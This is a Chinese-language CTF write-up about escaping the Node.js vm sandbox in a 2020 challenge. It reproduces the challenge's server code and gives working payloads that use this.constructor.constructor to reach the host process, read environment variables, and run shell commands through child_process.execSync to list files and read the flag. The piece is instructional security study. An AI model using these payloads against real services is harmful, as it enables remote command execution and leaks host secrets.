nodejs

简单的说 Node.js 就是运行在服务端的 JavaScript。
Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台。
Node.js是一个事件驱动I/O服务端JavaScript环境。

vm沙箱逃逸

vm是用来实现一个沙箱环境,可以安全的执行不受信任的代码而不会影响到主程序。但是可以通过构造语句来进行逃逸

实例演示

在极客大挑战2020上遇到了一道沙箱逃逸题:JailFamilyPackage。
这个题有三重关卡,第二重就是一个基于nodejs的沙箱,链接服务器后出现提示,这里贴一下

Hint: 
const vm = require('vm');
const readline = require('readline');

console.log("Hint: ")
console.log(require("fs").readFileSync("/app.js").toString())

const context = vm.createContext({});

var rl = readline.createInterface({
    input: process.stdin,
    output: process.stdout,
    terminal: false
});
process.stdout.write("> ");
rl.on('line', function(line){
    try {
        console.log(vm.runInContext(line, context));
    } catch (e) {
        console.log(e)
    }
    process.stdout.write("> ");
})

this.constructor.constructor('return this.process.env')()

逃逸方法

const vm = require("vm");
const env = vm.runInNewContext(`this.constructor.constructor('return this.process.env')()`);
console.log(env);

执行以上代码可以获取到主程序环境中的环境变量
上面例子的代码等价于如下代码:

const vm = require('vm');
const sandbox = {};
const script = new vm.Script("this.constructor.constructor('return this.process.env')()");
const context = vm.createContext(sandbox);
env = script.runInContext(context);
console.log(env);

创建vm环境时,首先要初始化一个对象 sandbox,这个对象就是vm中脚本执行时的全局环境context,vm 脚本中全局this指向的就是这个对象。
因为this.constructor.constructor返回的是一个Function constructor,所以可以利用Function对象构造一个函数并执行。(此时Function对象的上下文环境是处于主程序中的) 这里构造的函数内的语句是return this.process.env,结果是返回了主程序的环境变量。
配合chile_process.exec()就可以执行任意命令了:

const vm = require("vm");
const env = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('whoami').toString()`);
console.log(env);

最终payload

根据以上方法可以构造出我们的payload

this.constructor.constructor('return this.process.env')()
//创建一个sanbox

const process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').execSync('ls').toString()
//执行命令查看目录

const process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').execSync('cat flag').toString()
//抓取flag

后记

最近的mongo-express RCE(CVE-2019-10758)漏洞就是配合vm沙箱逃逸来利用的。

PS

上面的演示题还有第三重,是基于feakeroot和chroot的沙箱逃逸,有机会再写吧。


"孓然一身 , 了无牵挂"